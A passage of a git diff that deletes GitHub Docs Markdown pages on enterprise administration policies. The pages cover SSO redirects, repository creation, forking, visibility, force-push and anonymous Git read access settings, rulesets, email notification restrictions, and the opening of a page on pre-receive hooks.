unauthenticated user attempts to access your enterprise, {% data variables.product.company_short %} displays a 404 error. - -To prevent confusion from your developers, you can change this behavior so that users are automatically redirected to single sign-on (SSO) through your identity provider (IdP). When you enable automatic redirects, anyone who visits the URL for any of your enterprise's resources will be able to see that the resource exists. However, they'll only be able to see the resource if they have appropriate access after authenticating with your IdP. - -> [!NOTE] -> If a user is signed in to their personal account when they attempt to access any of your enterprise's resources, they'll be automatically signed out and redirected to SSO to sign in to their {% data variables.enterprise.prodname_managed_user %}. For more information, see [AUTOTITLE](/enterprise-cloud@latest/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/managing-multiple-accounts). - -{% data reusables.enterprise-accounts.access-enterprise-emu %} -{% data reusables.enterprise-accounts.identity-provider-tab %} -{% data reusables.enterprise-accounts.sso-configuration %} -1. Under "Single sign-on settings", select or deselect **Automatically redirect users to sign in**. -{% endif %} - -## Further reading - -* [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam) -{%- ifversion ghec %} -* [AUTOTITLE](/admin/overview/accessing-compliance-reports-for-your-enterprise) -{%- endif %} -{%- ifversion ghec %} -* [AUTOTITLE](/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise-with-an-ip-allow-list) -{%- endif %} diff --git a/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md b/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md deleted file mode 100644 index a60fd9f4d10b..000000000000 --- a/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md +++ /dev/null @@ -1,330 +0,0 @@ ---- -title: Enforcing repository management policies in your enterprise -intro: 'You can enforce policies for repository management within your enterprise''s organizations, or allow policies to be set in each organization.' -permissions: Enterprise owners can enforce policies for repository management in an enterprise. -redirect_from: - - /enterprise/admin/installation/configuring-the-default-visibility-of-new-repositories-on-your-appliance - - /enterprise/admin/guides/user-management/preventing-users-from-changing-a-repository-s-visibility - - /enterprise/admin/user-management/preventing-users-from-changing-a-repositorys-visibility - - /enterprise/admin/user-management/restricting-repository-creation-in-your-instance - - /enterprise/admin/user-management/preventing-users-from-deleting-organization-repositories - - /enterprise/admin/installation/setting-git-push-limits - - /enterprise/admin/guides/installation/git-server-settings - - /enterprise/admin/articles/setting-git-push-limits - - /enterprise/admin/user-management/allowing-admins-to-enable-anonymous-git-read-access-to-public-repositories - - /enterprise/admin/installation/disabling-the-merge-conflict-editor-for-pull-requests-between-repositories - - /enterprise/admin/developer-workflow/blocking-force-pushes-on-your-appliance - - /enterprise/admin/developer-workflow/blocking-force-pushes-to-repositories-owned-by-a-user-account-or-organization - - /enterprise/admin/developer-workflow/blocking-force-pushes-to-a-repository - - /enterprise/admin/articles/blocking-force-pushes-on-your-appliance - - /enterprise/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access-to-a-repository - - /enterprise/admin/user-management/preventing-users-from-changing-anonymous-git-read-access - - /enterprise/admin/articles/blocking-force-pushes-to-a-repository - - /enterprise/admin/articles/block-force-pushes - - /enterprise/admin/articles/blocking-force-pushes-for-a-user-account - - /enterprise/admin/articles/blocking-force-pushes-for-an-organization - - /enterprise/admin/articles/blocking-force-pushes-to-repositories-owned-by-a-user-account-or-organization - - /enterprise/admin/developer-workflow/blocking-force-pushes - - /enterprise/admin/policies/enforcing-repository-management-policies-in-your-enterprise - - /admin/policies/enforcing-repository-management-policies-in-your-enterprise - - /articles/enforcing-repository-management-settings-for-organizations-in-your-business-account - - /articles/enforcing-repository-management-policies-for-organizations-in-your-enterprise-account - - /articles/enforcing-repository-management-policies-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise-account/enforcing-repository-management-policies-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/enforcing-repository-management-policies-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/enforcing-repository-management-policies-in-your-enterprise-account - - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise -versions: - ghec: '*' - ghes: '*' -type: how_to -topics: - - Enterprise - - Policies - - Repositories - - Security -shortTitle: Repository management policies ---- - -## About policies for repository management in your enterprise - -You can enforce policies to control how members of your enterprise manage repositories. You can also allow organization owners to manage policies for repository management. - -{% ifversion repo-policy-rules %} ->[!NOTE] This page describes the policies you can set on the "Member privileges" page in your enterprise settings. Certain restrictions, such as who can create, delete, or transfer repositories, are also available in a **repository policy**. Repository policies give you more flexibility over which users are affected and which organizations and repositories are targeted. See [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/governing-how-people-use-repositories-in-your-enterprise). -{% endif %} - -{% ifversion ghes %} - -## Configuring the default visibility of new repositories - -Each time someone creates a new repository within your enterprise, that person must choose a visibility for the repository. When you configure a default visibility setting for the enterprise, you choose which visibility is selected by default. For more information on repository visibility, see [AUTOTITLE](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility). - -If an enterprise owner disallows members from creating certain types of repositories, members will not be able to create that type of repository even if the visibility setting defaults to that type. For more information, see [Enforcing a policy for repository creation](#enforcing-a-policy-for-repository-creation). - -{% data reusables.enterprise-accounts.access-enterprise %} -{% ifversion ghes %} -{% data reusables.enterprise-accounts.policies-tab %} -{% else %} -{% data reusables.enterprise-accounts.settings-tab %} -{% endif %} -{% data reusables.enterprise-accounts.options-tab %} -1. Under "Default repository visibility", use the drop-down menu and select a default visibility. -{% indented_data_reference reusables.enterprise_installation.image-urls-viewable-warning spaces=3 %} -{% endif %} - -## Enforcing a policy for base repository permissions - -Across all organizations owned by your enterprise, you can set a base repository permission level (none, read, write, or admin) for organization members, or allow owners to administer the setting on the organization level. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.repositories-tab %} -1. Under "Base permissions", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} -1. Under "Base permissions", select the dropdown menu and click a policy. - -## Enforcing a policy for repository creation - -Across all organizations owned by your enterprise, you can allow members to create repositories, restrict repository creation to organization owners, or allow owners to administer the setting on the organization level. - -If you allow members to create repositories in your organizations, you can choose which types of repositories (public, private, and internal) that members can create. - -{% ifversion ghec %}If your enterprise uses {% data variables.product.prodname_emus %}, you{% else %}You{% endif %} can also prevent users from creating repositories owned by their user accounts. {% ifversion emu-owned-repos %}If you allow users to create repositories owned by their user accounts, you can view and temporarily access those repositories at any time. For more information, see [AUTOTITLE](/admin/user-management/managing-repositories-in-your-enterprise/viewing-user-owned-repositories-in-your-enterprise) and [AUTOTITLE](/admin/user-management/managing-repositories-in-your-enterprise/accessing-user-owned-repositories-in-your-enterprise).{% endif %} - -{% data reusables.repositories.internal-repo-default %} For more information about internal repositories, see [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-new-repository). - -{% data reusables.organizations.repo-creation-constants %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.repositories-tab %} -1. Under "Repository creation", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} -{% data reusables.enterprise-accounts.repo-creation-policy %} -{% data reusables.enterprise-accounts.repo-creation-types %} -1. Optionally, {% ifversion ghec %}if your enterprise uses {% data variables.product.prodname_emus %} and you want {% endif %}to prevent enterprise members from creating repositories owned by their user accounts, select **Block the creation of user namespace repositories**. - -## Enforcing a policy for forking private or internal repositories - -Across all organizations owned by your enterprise, you can allow people with access to a private or internal repository to fork the repository, never allow forking of private or internal repositories, or allow owners to administer the setting on the organization level. - -People with admin permissions can set a more granular forking policy. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization). - -> [!NOTE] -> If {% ifversion ghec %}your enterprise uses {% data variables.product.prodname_emus %} and {% endif %}your "Repository creation" policy prevents enterprise members from creating repositories owned by their user accounts, members will not be allowed to fork a repository in their user accounts, regardless of your "Repository forking" policy. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.repositories-tab %} -1. Under "Repository forking", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} -1. Under "Repository forking", select the dropdown menu and click a policy. -1. If forking is enabled, select a policy for where users are allowed to fork repositories. - -## Enforcing a policy for inviting{% ifversion ghec %} outside{% endif %} collaborators to repositories - -{% data reusables.enterprise-managed.repo-collaborators-note %} - -Across all organizations owned by your enterprise, you can allow members to invite{% ifversion ghec %} outside{% endif %} collaborators to repositories, restrict {% ifversion ghec %}outside collaborator {% endif %}invitations to organization owners, restrict {% ifversion ghec %}outside collaborator {% endif %}invitations to enterprise owners, or allow organization owners to administer the setting on the organization level. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.repositories-tab %} -1. Under "Repository {% ifversion ghec %}outside collaborators{% elsif ghes %}invitations{% endif %}", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} -1. Under "Repository {% ifversion ghec %}outside collaborators{% elsif ghes %}invitations{% endif %}", select the dropdown menu and click a policy. - -## Enforcing a policy for the default branch name - -Across all organizations owned by your enterprise, you can set the default branch name for any new repositories that members create. You can choose to enforce that default branch name across all organizations or allow individual organizations to set a different one. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.repositories-tab %} -1. Under "Default branch name", enter the default branch name that new repositories should use. -1. Optionally, to enforce the default branch name for all organizations in the enterprise, select **Enforce across this enterprise**. -1. Click **Update**. - -{% ifversion deploy-keys-enterprise-org-policy %} - -## Enforcing a policy for deploy keys - -Across all organizations owned by your enterprise, you can allow members to create deploy keys in repositories, restrict deploy key creation, or allow owners to administer the setting on the organization level. - -For more information about using deploy keys, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/managing-deploy-keys#deploy-keys). If you want fine-grained control over permissions, consider using a {% data variables.product.prodname_github_app %} instead. See [AUTOTITLE](/apps/overview). - -> [!WARNING] -> Changing this setting to disabled will result in **existing deploy keys being disabled** in all repositories in the enterprise. Scripts, apps, or workflows that create, use, or delete deploy keys will no longer work. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.repositories-tab %} -1. Under "Deploy keys", review the information about changing the setting, then select a policy. -1. Click **Save**. -{% endif %} - -## Enforcing a policy for changes to repository visibility - -Across all organizations owned by your enterprise, you can allow members with admin access to change a repository's visibility, restrict repository visibility changes to organization owners, or allow owners to administer the setting on the organization level. When you prevent members from changing repository visibility, only enterprise owners can change the visibility of a repository. - -If an enterprise owner has restricted repository creation to organization owners only, then members will not be able to change repository visibility. For more information, see [Enforcing a policy for repository creation](#enforcing-a-policy-for-repository-creation). - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.repositories-tab %} -1. Under "Repository visibility change", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} -1. Under "Repository visibility change", select the dropdown menu and click a policy. - -## Enforcing a policy for repository deletion and transfer - -Across all organizations owned by your enterprise, you can allow members with admin permissions to delete or transfer a repository, restrict repository deletion and transfers to organization owners, or allow owners to administer the setting on the organization level. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.repositories-tab %} -1. Under "Repository deletion and transfer", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} - -{% data reusables.enterprise-accounts.repository-deletion-policy %} - -## Enforcing a policy for deleting issues - -Across all organizations owned by your enterprise, you can allow members with admin access to delete issues in a repository, restrict issue deletion to organization owners, or allow owners to administer the setting on the organization level. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.repositories-tab %} -1. Under "Repository issue deletion", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} -1. Under "Repository issue deletion", select the dropdown menu and click a policy. - -{% ifversion ghes %} - -## Enforcing a policy for Git push limits - -To keep your repository size manageable and prevent performance issues, you can configure a file size limit for repositories in your enterprise. - -By default, when you enforce repository upload limits, people cannot add or update files larger than 100 MB. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.options-tab %} -1. Under "Repository upload limit", use the drop-down menu and click a maximum object size. -1. Optionally, to enforce a maximum upload limit for all repositories in your enterprise, select **Enforce on all repositories** - - ![Screenshot of the "Repository upload limit" policy section. The "Enforce on all repositories" checkbox is highlighted with an orange outline.](/assets/images/enterprise/site-admin-settings/all-repo-upload-limit-option.png) - -{% ifversion ghes %} - -## Enforcing a policy for the display of member names in your repositories - -Across all organizations owned by your enterprise, you can allow members to see a comment author's profile name, in addition to their username, in issues and pull requests for public and internal repositories. - -![Screenshot of an issue comment. The header says "ashtom (Thomas Dohmke) commented 1 minute ago," with "(Thomas Dohmke)" outlined in dark orange.](/assets/images/help/issues/commenter-full-name.png) - -> [!NOTE] -> When this policy is enforced for all repositories in the enterprise, it overrides the organization setting for private repositories. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/managing-the-display-of-member-names-in-your-organization). - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.options-tab %} -1. Under "Allow members to see the comment author's profile name in public and internal repositories", select the dropdown menu and click a policy. -1. Optionally, to enforce the display of profile names for all repositories in your enterprise, select **Enforce for all repositories on the instance**. - - ![Screenshot of the policy option for the display of member names in your repositories. The "Enforce on all repositories" checkbox is outlined.](/assets/images/enterprise/site-admin-settings/enforce-for-all-repositories-option.png) - -{% endif %} - -## Configuring the merge conflict editor for pull requests between repositories - -Requiring users to resolve merge conflicts locally on their computer can prevent people from inadvertently writing to an upstream repository from a fork. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% ifversion ghes %} -{% data reusables.enterprise-accounts.policies-tab %} -{% else %} -{% data reusables.enterprise-accounts.settings-tab %} -{% endif %} -{% data reusables.enterprise-accounts.options-tab %} -1. Under "Conflict editor for pull requests between repositories", use the drop-down menu, and click **Disabled**. - -## Configuring force pushes - -Each repository inherits a default force push setting from the settings of the user account or organization that owns the repository. Each organization and user account inherits a default force push setting from the force push setting for the enterprise. If you change the force push setting for the enterprise, the policy applies to all repositories owned by any user or organization. - -### Blocking force pushes to all repositories - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.options-tab %} -1. Under "Force pushes", select the dropdown menu, and click **Allow**, **Block**, or **Block to the default branch**. -1. Optionally, to override organization and repository level settings for force pushes, select **Enforce on all repositories**. - -### Blocking force pushes to a specific repository - -{% data reusables.enterprise_site_admin_settings.override-policy %} - -{% data reusables.enterprise_site_admin_settings.sign-in %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.repository-search %} -{% data reusables.enterprise_site_admin_settings.click-repo %} -{% data reusables.enterprise_site_admin_settings.admin-top-tab %} -1. Under "Push and Pull", to the right of "Force pushes", select the dropdown menu, and click **Block** or **Block to the default branch**. - -### Blocking force pushes to repositories owned by a user account or organization - -Repositories inherit force push settings from the user account or organization to which they belong. User accounts and organizations in turn inherit their force push settings from the force push settings for the enterprise. - -You can override the default inherited settings by configuring the settings for a user account or organization. - -{% data reusables.enterprise_site_admin_settings.sign-in %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.search-user-or-org %} -{% data reusables.enterprise_site_admin_settings.click-user-or-org %} -{% data reusables.enterprise_site_admin_settings.admin-top-tab %} -1. Under "Repository default settings" in the "Force pushes" section, select a policy. - * To block force pushes to all branches, select **Block**. - * To only block force pushes to the default branch, select **Block to the default branch**. -1. Optionally, to override repository-specific settings, select **Enforce on all repositories**. Note that this will **not** override an enterprise-wide policy. - - ![Screenshot of the "Repository default settings" policy section. The "Enforce on all repositories" checkbox is highlighted with an orange outline.](/assets/images/enterprise/site-admin-settings/user/user-block-all-force-pushes.png) - -{% endif %} - -{% ifversion ghes %} - -## Configuring anonymous Git read access - -{% data reusables.enterprise_user_management.disclaimer-for-git-read-access %} - -If you have [enabled private mode](/admin/configuration/configuring-your-enterprise/enabling-private-mode) for {% data variables.location.product_location %}, you can allow repository administrators to enable anonymous Git read access to public repositories. - -Enabling anonymous Git read access allows users to bypass authentication for custom tools on your enterprise. When you or a repository administrator enable this access setting for a repository, unauthenticated Git operations (and anyone with network access to {% data variables.location.product_location_enterprise %}) will have read access to the repository without authentication. - -Anonymous Git read access is disabled by default. - -If necessary, you can prevent repository administrators from changing anonymous Git access settings for repositories on your enterprise by locking the repository's access settings. After you lock a repository's Git read access setting, only a site administrator can change the setting. - -{% data reusables.enterprise_site_admin_settings.list-of-repos-with-anonymous-git-read-access-enabled %} - -{% data reusables.enterprise_user_management.exceptions-for-enabling-anonymous-git-read-access %} - -### Setting anonymous Git read access for all repositories - -{% data reusables.enterprise-accounts.access-enterprise %} -{% ifversion ghes %} -{% data reusables.enterprise-accounts.policies-tab %} -{% else %} -{% data reusables.enterprise-accounts.settings-tab %} -{% endif %} -{% data reusables.enterprise-accounts.options-tab %} -1. Under "Anonymous Git read access", use the drop-down menu, and click **Enabled**. -1. Optionally, to prevent repository admins from changing anonymous Git read access settings in all repositories on your enterprise, select **Prevent repository admins from changing anonymous Git read access**. - -### Setting anonymous Git read access for a specific repository - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.repository-search %} -{% data reusables.enterprise_site_admin_settings.click-repo %} -{% data reusables.enterprise_site_admin_settings.admin-top-tab %} -1. Under "Danger Zone", next to "Enable Anonymous Git read access", click **Enable**. - - ![Screenshot of the "Enable anonymous Git read access" setting. The "Enable" button is outlined.](/assets/images/enterprise/site-admin-settings/site-admin-enable-anonymous-git-read-access.png) -1. Review the changes. To confirm, click **Yes, enable anonymous Git read access.** -1. Optionally, to prevent repository admins from changing this setting for this repository, select **Prevent repository admins from disabling anonymous Git read access**. -{% endif %} diff --git a/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md b/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md deleted file mode 100644 index 50a1f1e56087..000000000000 --- a/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Enforcing team policies in your enterprise -intro: 'You can enforce policies for teams in your enterprise''s organizations, or allow policies to be set in each organization.' -permissions: Enterprise owners can enforce policies for teams in an enterprise. -redirect_from: - - /articles/enforcing-team-settings-for-organizations-in-your-business-account - - /articles/enforcing-team-policies-for-organizations-in-your-enterprise-account - - /articles/enforcing-team-policies-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise-account/enforcing-team-policies-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/enforcing-team-policies-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/enforcing-team-policies-in-your-enterprise-account - - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise -versions: - ghes: '< 3.13' -type: how_to -topics: - - Enterprise - - Policies - - Teams -shortTitle: Team policies ---- - -## About policies for teams in your enterprise - -You can enforce policies to control how members of your enterprise manage teams. You can also allow organization owners to manage policies for teams. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/about-teams). - -{% ifversion team-discussions %} - -## Enforcing a policy for team discussions - -Across all organizations owned by your enterprise, you can enable or disable team discussions, or allow owners to administer the setting on the organization level. For more information, see [AUTOTITLE](/organizations/collaborating-with-your-team/about-team-discussions). - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -1. Under "{% octicon "law" aria-hidden="true" %} Policies", click **Teams**. -1. Under "Team discussions", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} -1. Under "Team discussions", select the dropdown menu and click a policy. -{% endif %} diff --git a/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/index.md b/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/index.md deleted file mode 100644 index 4b6d5ea647a5..000000000000 --- a/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/index.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Enforcing policies for your enterprise -intro: You can configure policies for organizations in your enterprise. -redirect_from: - - /enterprise/admin/policies/enforcing-policies-for-your-enterprise - - /articles/setting-policies-for-organizations-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise-account/setting-policies-for-organizations-in-your-enterprise-account - - /admin/policies/enforcing-policies-for-your-enterprise -versions: - ghec: '*' - ghes: '*' -topics: - - Enterprise - - Policies -children: - - /about-enterprise-policies - - /enforcing-repository-management-policies-in-your-enterprise - - /enforcing-team-policies-in-your-enterprise - - /enforcing-policies-for-projects-in-your-enterprise - - /restricting-email-notifications-for-your-enterprise - - /enforcing-policies-for-github-sponsors-in-your-enterprise - - /enforcing-policies-for-security-settings-in-your-enterprise - - /enforcing-policies-for-github-actions-in-your-enterprise - - /enforcing-policies-for-github-copilot-in-your-enterprise - - /enforcing-policies-for-github-codespaces-in-your-enterprise - - /enforcing-policies-for-code-security-and-analysis-for-your-enterprise - - /enforcing-policies-for-personal-access-tokens-in-your-enterprise - - /enforcing-policies-for-code-governance - - /managing-policies-for-code-governance -shortTitle: Enforce policies ---- - diff --git a/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/managing-policies-for-code-governance.md b/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/managing-policies-for-code-governance.md deleted file mode 100644 index 84b87f29c3b1..000000000000 --- a/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/managing-policies-for-code-governance.md +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Managing code rulesets for repositories in your enterprise -intro: 'You can edit, monitor, and delete existing rulesets to alter how people can interact with repositories in your enterprise.' -allowTitleToDifferFromFilename: true -versions: - feature: enterprise-code-rulesets -permissions: 'Enterprise owners' -shortTitle: Manage rulesets ---- - -After creating a ruleset at the enterprise level, you can make changes to the ruleset to alter how people can interact with the targeted repositories. For example, you can: - -* Add rules to better protect the branches or tags in those repositories -* Switch your ruleset from "Evaluate" mode to "Active" after testing its effects on the contributor experience - -{% data reusables.repositories.rulesets-anyone-can-view %} - -{% ifversion push-rule-delegated-bypass %} - -## About delegated bypass - -{% data reusables.repositories.about-push-rule-delegated-bypass %} - -{% endif %} - -## Editing a ruleset - -You can edit a ruleset to change parts of the ruleset, such as the name, bypass permissions, or rules. You can also edit a ruleset to change its status, such as if you want to enable or temporarily disable a ruleset. - -{% data reusables.enterprise-accounts.access-enterprise %} -1. In the left sidebar, in the "Policies" section, click **Code**, then click **Rulesets**. -1. On the "Rulesets" page, click the name of the ruleset you want to edit. -1. Change the ruleset as required. - - For information on the available rules, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/available-rules-for-rulesets) - -1. At the bottom of the page, click **Save changes**. - -## Deleting a ruleset - -{% data reusables.repositories.rulesets-anyone-can-view %} - -{% data reusables.enterprise-accounts.access-enterprise %} -1. In the left sidebar, in the "Policies" section, click **Code**, then click **Rulesets**. -1. To the right of the ruleset's name, select {% octicon "kebab-horizontal" aria-label="Open additional options" %}, then click **{% octicon "trash" aria-hidden="true" %} Delete ruleset**. - -## Using ruleset history - -{% data reusables.repositories.ruleset-beta-note %} - -{% data reusables.repositories.ruleset-history-conceptual %} - -{% data reusables.enterprise-accounts.access-enterprise %} -1. In the left sidebar, in the "Policies" section, click **Code**, then click **Rulesets**. -1. To view the history of changes to the ruleset, select {% octicon "kebab-horizontal" aria-label="Open additional options" %} to the right of the ruleset's name, then click **{% octicon "history" aria-hidden="true" %} History**. -1. To the right of the specific iteration, select {% octicon "kebab-horizontal" aria-label="Open additional options" %}, then click **Compare changes**, **Restore**, or **Download**. - -## Importing a ruleset - -You can import a ruleset from another repository, organization or enterprise using the exported JSON file from the previous section. This can be useful if you want to apply the same ruleset to multiple repositories, organizations or enterprises. - -{% data reusables.enterprise-accounts.access-enterprise %} -1. In the left sidebar, in the "Policies" section, click **Code**, then click **Rulesets**. -1. Select the **New ruleset** dropdown, then click **Import a ruleset**. -1. Open the exported JSON file. -1. Review the imported ruleset and click **Create**. - -## Viewing insights for rulesets - -You can view insights for rulesets to see how rulesets are affecting the repositories in your enterprise. {% data reusables.repositories.about-ruleset-insights %} - -If a ruleset is running in "Evaluate" mode, you can see actions that would have passed or failed if the ruleset had been active. - -{% data reusables.enterprise-accounts.access-enterprise %} -1. In the left sidebar, in the "Policies" section, click **Code**, then click **Rulesets**. -1. On the "Rule insights" page, use the dropdown menus at the top of the page to filter the actions by ruleset, repository, actor, and time period. -1. To see which specific rules failed or required a bypass, click {% octicon "kebab-horizontal" aria-label="View rule runs" %}, then expand the name of the ruleset. - -{% ifversion push-rule-delegated-bypass %} - -{% data reusables.repositories.managing-delegated-bypass %} - -{% endif %} diff --git a/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise.md b/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise.md deleted file mode 100644 index baa3ea809813..000000000000 --- a/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise.md +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Restricting email notifications for your enterprise -intro: You can prevent your enterprise's information from leaking into personal email accounts by restricting the domains where members can receive email notifications about activity in organizations owned by your enterprise. -product: '{% data reusables.gated-features.restrict-email-domain %}' -versions: - ghec: '*' - ghes: '*' -permissions: Enterprise owners can restrict email notifications for an enterprise. -type: how_to -topics: - - Enterprise - - Notifications - - Organizations - - Policies -redirect_from: - - /admin/policies/restricting-email-notifications-for-your-enterprise - - /github/setting-up-and-managing-your-enterprise/restricting-email-notifications-for-your-enterprise-account-to-approved-domains - - /github/setting-up-and-managing-your-enterprise/restricting-email-notifications-for-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/restricting-email-notifications-for-your-enterprise-account - - /admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise -shortTitle: Restrict email notifications ---- - -## About email restrictions for your enterprise - -When you restrict email notifications, enterprise members can only use an email address in a verified or approved domain to receive email notifications about activity in organizations owned by your enterprise. - -{% data reusables.enterprise-accounts.approved-domains-beta-note %} - -The domains can be inherited from the enterprise or configured for the specific organization. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise) and [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/restricting-email-notifications-for-your-organization). - -{% data reusables.notifications.email-restrictions-verification %} - -If email restrictions are enabled for an enterprise, organization owners cannot disable email restrictions for any organization owned by the enterprise. If changes occur that result in an organization having no verified or approved domains, either inherited from an enterprise that owns the organization or for the specific organization, email restrictions will be disabled for the organization. - -## Restricting email notifications for your enterprise - -Before you can restrict email notifications for your enterprise, you must verify or approve at least one domain for the enterprise. {% ifversion ghec %} For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise).{% endif %} - -Users will not be notified when you enable email restrictions. It is your responsibility to inform users that, in the future, they will only receive email notifications related to your enterprise if they've added an email address belonging to a verified or approved domain to their account settings. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.verified-domains-tab %} -{% data reusables.organizations.restrict-email-notifications %} -1. Click **Save**. diff --git a/content/admin/enforcing-policies/enforcing-policy-with-pre-receive-hooks/about-pre-receive-hooks.md b/content/admin/enforcing-policies/enforcing-policy-with-pre-receive-hooks/about-pre-receive-hooks.md deleted file mode 100644 index 269a06830904..000000000000 --- a/content/admin/enforcing-policies/enforcing-policy-with-pre-receive-hooks/about-pre-receive-hooks.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: About pre-receive hooks -intro: '*Pre-receive hooks* are scripts that run on the {% data variables.product.prodname_ghe_server %} appliance that you can use to implement quality checks.' -redirect_from: - - /enterprise/admin/developer-workflow/about-pre-receive-hooks - - /enterprise/admin/policies/about-pre-receive-hooks - - /admin/policies/about-pre-receive-hooks - - /admin/policies/enforcing-policy-with-pre-receive-hooks/about-pre-receive-hooks -versions: - ghes: '*' -type: overview -topics: - - Enterprise - - Policies - - Pre-receive hooks ---- - -## About pre-receive hooks - -When a push occurs, each script runs in an isolated environment and can perform checks on the content of the push. The scripts will cause the push to be accepted if the exit status is 0, or rejected if the exit status is non-zero. - -Use pre-receive hooks to satisfy business rules, enforce regulatory compliance, and prevent certain common mistakes. - -Examples of how you can use pre-receive hooks: - -* Require commit messages to follow a specific pattern or format, such as including a valid ticket number or being over a certain length. -* Lock a branch or repository by rejecting all pushes. -* Prevent sensitive data from being added to the repository by blocking keywords, patterns or file types. -* Prevent a PR author from merging their own changes. - -{% data reusables.enterprise_site_admin_settings.pre-receive-hook-examples %} - -## Impact on performance and workflows - -Impact to 